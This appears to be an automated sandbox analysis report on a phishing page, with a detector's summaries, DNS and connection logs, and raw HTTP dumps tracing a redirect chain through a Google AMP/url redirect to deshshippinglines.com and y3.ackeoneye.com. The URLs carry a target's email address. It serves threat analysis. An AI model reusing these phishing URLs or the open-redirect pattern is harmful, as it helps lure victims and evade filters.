Source: 1.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://y3.ackeoneye.com/lo92/#Xgorka.jimenez@devo... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser developer tools, and redirecting the user to an external website. The script also includes a self-executing function that triggers a redirect after a certain time delay, which is a common technique used in malicious scripts. Overall, this script exhibits a high level of suspicious and potentially malicious behavior, warranting a high-risk score.
Source: 1.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://y3.ackeoneye.com/lo92/#Xgorka.jimenez@devo... This script demonstrates multiple high-risk behaviors, including dynamic code execution via the Proxy object and eval(), as well as potential data exfiltration due to the obfuscated nature of the code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10.

Source: https://y3.ackeoneye.com/lo92/#Xgorka.jimenez@devol.es	HTTP Parser: No favicon
Source: https://y3.ackeoneye.com/lo92/#Xgorka.jimenez@devol.es	HTTP Parser: No favicon
Source: https://y3.ackeoneye.com/lo92/#Xgorka.jimenez@devol.es	HTTP Parser: No favicon
Source: https://www.amazon.com/	HTTP Parser: No favicon
Source: https://www.amazon.com/errors/validateCaptcha?amzn=oOG14CFEo0qNm3ZfyheDnw%3D%3D&amzn-r=%2F&field-keywords=	HTTP Parser: No favicon
Source: https://www.amazon.com/errors/validateCaptcha?amzn=V%2FQWGh%2Bxq8nH6gH01OjA4w%3D%3D&amzn-r=%2F&field-keywords=	HTTP Parser: No favicon
Source: https://www.amazon.com/errors/validateCaptcha?amzn=tsPwu3l9tzgnem5k5fj8Zw%3D%3D&amzn-r=%2F&field-keywords=	HTTP Parser: No favicon
Source: https://www.amazon.com/errors/validateCaptcha?amzn=UOEyeih%2FO2Ng4k18wziu%2Bg%3D%3D&amzn-r=%2F&field-keywords=	HTTP Parser: No favicon
Source: https://www.amazon.com/errors/validateCaptcha?amzn=aWtjLQPQePOkOjbZRBDfnw%3D%3D&amzn-r=%2F&field-keywords=	HTTP Parser: No favicon

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: www.google.pn
Source: global traffic	DNS traffic detected: DNS query: deshshippinglines.com
Source: global traffic	DNS traffic detected: DNS query: y3.ackeoneye.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: v27bncxfmlahb4cndraeyexerpo6dunjyclmvgbp4g8o6oqsbi17rop.adlijari.ru
Source: global traffic	DNS traffic detected: DNS query: www.amazon.com
Source: global traffic	DNS traffic detected: DNS query: images-na.ssl-images-amazon.com
Source: global traffic	DNS traffic detected: DNS query: fls-na.amazon.com

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 27, 2025 15:44:46.219018936 CET	53	51115	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:46.240314960 CET	53	58158	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:47.239921093 CET	53	58743	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:50.754228115 CET	49465	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:50.754406929 CET	57018	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:50.761164904 CET	53	57018	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:50.761501074 CET	53	49465	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:52.355405092 CET	53417	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:52.355544090 CET	62206	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:52.363224983 CET	53	53417	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:52.364947081 CET	53	62206	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:53.647018909 CET	65233	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:53.647218943 CET	51792	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:53.656331062 CET	53	65233	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:53.657408953 CET	53	51792	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:54.652602911 CET	54005	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:54.652888060 CET	61097	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:54.665746927 CET	53	61097	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:54.666827917 CET	53	54005	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:56.662925005 CET	55800	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:56.663074970 CET	57176	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:56.663458109 CET	55403	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:56.663598061 CET	52510	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:56.663958073 CET	55961	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:56.664069891 CET	53281	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:56.674592018 CET	53	55800	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:56.675033092 CET	53	57176	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:56.675384998 CET	53	52510	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:56.675415039 CET	53	55403	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:56.675442934 CET	53	55961	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:56.675587893 CET	53	53281	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:57.392365932 CET	62948	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:57.392597914 CET	52594	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:57.401218891 CET	53	52594	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:57.401431084 CET	53	62948	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:57.440129042 CET	59298	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:57.440294981 CET	63336	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:57.449001074 CET	53	59298	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:57.450556040 CET	53	63336	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:58.153728008 CET	49244	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:58.153947115 CET	53723	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:58.161046028 CET	53	53723	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:58.161180019 CET	53	49244	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:58.291023016 CET	49752	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:58.291179895 CET	60220	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:44:58.297892094 CET	53	49752	1.1.1.1	192.168.2.5
Jan 27, 2025 15:44:58.298046112 CET	53	60220	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:04.290414095 CET	53	52461	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:09.690315008 CET	63689	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:45:09.690502882 CET	63354	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:45:09.703608036 CET	53	63354	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:09.867923975 CET	53	63689	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:11.443795919 CET	50021	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:45:11.444087029 CET	51807	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:45:11.450412035 CET	53	50021	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:11.451467037 CET	53	51807	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:11.481039047 CET	52271	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:45:11.481172085 CET	53935	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:45:11.491684914 CET	53	53935	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:11.493495941 CET	53	52271	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:12.614361048 CET	55600	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:45:12.614701986 CET	51302	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:45:12.621118069 CET	53	55600	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:12.621907949 CET	53	51302	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:13.682226896 CET	64014	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:45:13.682667971 CET	54811	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:45:13.688834906 CET	53	64014	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:13.689766884 CET	53	54811	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:13.972023010 CET	62161	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:45:13.972167969 CET	51727	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:45:13.982285976 CET	53	62161	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:13.982302904 CET	53	51727	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:14.022005081 CET	53	58147	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:14.681339025 CET	60930	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:45:14.681802034 CET	54997	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:45:14.689100981 CET	53	60930	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:14.689210892 CET	53	54997	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:17.445338011 CET	51916	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:45:17.445529938 CET	64113	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:45:17.455564976 CET	53	64113	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:17.458669901 CET	53	51916	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:23.289349079 CET	53	61503	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:46.049982071 CET	53	63238	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:46.121819019 CET	53	57673	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:50.813088894 CET	60112	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:45:50.813148975 CET	60270	53	192.168.2.5	1.1.1.1
Jan 27, 2025 15:45:50.820003033 CET	53	60112	1.1.1.1	192.168.2.5
Jan 27, 2025 15:45:50.820044994 CET	53	60270	1.1.1.1	192.168.2.5

Timestamp	Bytes transferred	Direction	Data
2025-01-27 14:44:53 UTC	1027	OUT	GET /url?sa==a6bzuik1ma3dlpHqxRTACXaYHYI&rct=s7fFjO3jMe8ieQpeNofXnE7ZxaxKrm87scW4CKSzwd4Eiunz5jJ6j2AdElmCOMFCyq&sa=t&url=amp/s/deshshippinglines.com/demo/mode/IJulKkbhDRoCeYksSX62whnucNHhPavrd66HpTU/Z29ya2EuamltZW5lekBkZXZvbC5lcw== HTTP/1.1 Host: www.google.pn Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-27 14:44:53 UTC	1100	IN	HTTP/1.1 302 Found Location: https://www.google.pn/amp/s/deshshippinglines.com/demo/mode/IJulKkbhDRoCeYksSX62whnucNHhPavrd66HpTU/Z29ya2EuamltZW5lekBkZXZvbC5lcw== Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-F9wCrmGC8P4XDqNdREjtAw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Mon, 27 Jan 2025 14:44:53 GMT Server: gws Content-Length: 329 X-XSS-Protection: 0 Set-Cookie: NID=521=eaKUt4_VYblpua5krG8wmy1OZ5I5vsoT1b7F2wjwFPHLm1V0z6pfoZ1JkTGbufe1ZlRTxjRyhYJr4mxJwA4YTouHqmyoKRzyyeMXCgrRvbhtQ62uvjHr919YE0vFiXJuBc_edxPmZ2-22xe0eSUMVMRz1JjvJz0KFwctPLdGJ0ApJ2JYxJMGSAm6hrWvly6WSL9z_N2Y85j6SA; expires=Tue, 29-Jul-2025 14:44:53 GMT; path=/; domain=.google.pn; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-27 14:44:53 UTC	290	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 70 6e 2f 61 6d 70 2f 73 2f 64 65 73 68 73 68 69 70 70 69 6e 67 6c 69 6e 65 73 2e 63 6f 6d 2f 64 65 6d 6f 2f 6d 6f 64 65 2f 49 4a 75 6c 4b 6b 62 68 44 52 6f 43 65 59 6b 73 53 58 36 32 77 68 6e 75 63 4e 48 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.pn/amp/s/deshshippinglines.com/demo/mode/IJulKkbhDRoCeYksSX62whnucNH
2025-01-27 14:44:53 UTC	39	IN	Data Raw: 5a 76 62 43 35 6c 63 77 3d 3d 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: ZvbC5lcw==">here</A>.</BODY></HTML>

Timestamp	Bytes transferred	Direction	Data
2025-01-27 14:44:53 UTC	1135	OUT	GET /amp/s/deshshippinglines.com/demo/mode/IJulKkbhDRoCeYksSX62whnucNHhPavrd66HpTU/Z29ya2EuamltZW5lekBkZXZvbC5lcw== HTTP/1.1 Host: www.google.pn Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=521=eaKUt4_VYblpua5krG8wmy1OZ5I5vsoT1b7F2wjwFPHLm1V0z6pfoZ1JkTGbufe1ZlRTxjRyhYJr4mxJwA4YTouHqmyoKRzyyeMXCgrRvbhtQ62uvjHr919YE0vFiXJuBc_edxPmZ2-22xe0eSUMVMRz1JjvJz0KFwctPLdGJ0ApJ2JYxJMGSAm6hrWvly6WSL9z_N2Y85j6SA
2025-01-27 14:44:53 UTC	881	IN	HTTP/1.1 302 Found Location: https://deshshippinglines.com/demo/mode/IJulKkbhDRoCeYksSX62whnucNHhPavrd66HpTU/Z29ya2EuamltZW5lekBkZXZvbC5lcw== Cache-Control: private X-Robots-Tag: noindex Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-Ki3iKDa1pDeW0EhDQ7xLdw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() Date: Mon, 27 Jan 2025 14:44:53 GMT Server: gws Content-Length: 309 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-27 14:44:53 UTC	309	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 65 73 68 73 68 69 70 70 69 6e 67 6c 69 6e 65 73 2e 63 6f 6d 2f 64 65 6d 6f 2f 6d 6f 64 65 2f 49 4a 75 6c 4b 6b 62 68 44 52 6f 43 65 59 6b 73 53 58 36 32 77 68 6e 75 63 4e 48 68 50 61 76 72 64 36 36 48 70 54 55 2f 5a 32 39 79 61 32 45 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://deshshippinglines.com/demo/mode/IJulKkbhDRoCeYksSX62whnucNHhPavrd66HpTU/Z29ya2E

Timestamp	Bytes transferred	Direction	Data
2025-01-27 14:44:54 UTC	746	OUT	GET /demo/mode/IJulKkbhDRoCeYksSX62whnucNHhPavrd66HpTU/Z29ya2EuamltZW5lekBkZXZvbC5lcw== HTTP/1.1 Host: deshshippinglines.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-27 14:44:54 UTC	256	IN	HTTP/1.1 200 OK Date: Mon, 27 Jan 2025 14:44:54 GMT Server: Apache refresh: 0;url=https://y3.ackeoneye.com/lo92/#Xgorka.jimenez@devol.es Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-01-27 14:44:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-01-27 14:44:55 UTC	680	OUT	GET /favicon.ico HTTP/1.1 Host: deshshippinglines.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://deshshippinglines.com/demo/mode/IJulKkbhDRoCeYksSX62whnucNHhPavrd66HpTU/Z29ya2EuamltZW5lekBkZXZvbC5lcw== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-27 14:44:55 UTC	164	IN	HTTP/1.1 404 Not Found Date: Mon, 27 Jan 2025 14:44:55 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-27 14:44:55 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Timestamp	Bytes transferred	Direction	Data
2025-01-27 14:44:55 UTC	691	OUT	GET /lo92/ HTTP/1.1 Host: y3.ackeoneye.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://deshshippinglines.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-27 14:44:56 UTC	1250	IN	HTTP/1.1 200 OK Date: Mon, 27 Jan 2025 14:44:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x%2FheGu%2B4WZT3sv0VC91ZMKGbOlhzfMBTnPSXl7%2B1MqqYaBzvEllvATYJ3ZqovjtuXWie6kCHBSONpWEIr6OXfIGQrEa8HDFGg3sqD%2BNlrvQ056PoVMlaVu1iyZlMM4EaoWrFjw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=865&min_rtt=852&rtt_var=345&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1605&delivery_rate=4230125&cwnd=252&unsent_bytes=0&cid=46eca5267177455b&ts=239&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkRXeWRhL1VkbnhPS2dxL2YwbGhuZEE9PSIsInZhbHVlIjoiYkwvQmR0anI0QjFsRUJ5RkEza0wyRFYyVFhmV0ovT1Z5TzBnUHNYaHpWTXQ1NWNvcU1KWlBJdnVjckVzZEZDcWhsREg0ekVIamxSUHVjbzBWMnVQTmJIQzVHNlVDVmNDMHBwQXhQWmJGeitYay84UVlKcDZMd2U4d29CSGpOUjgiLCJtYWMiOiJjNmUyZTAyZWY1MzZhNWNhODY0YzM5ZDNkMTk1YzIzOGRlNzgwZTRiZjM3ZGJkM2Y0MGM3ZTg2MGQxMTkyNTIxIiwidGFnIjoiIn0%3D; expires=Mon, 27-Jan-2025 16:44:55 GMT; Max-Age=7200; path=/; secure; samesite=none
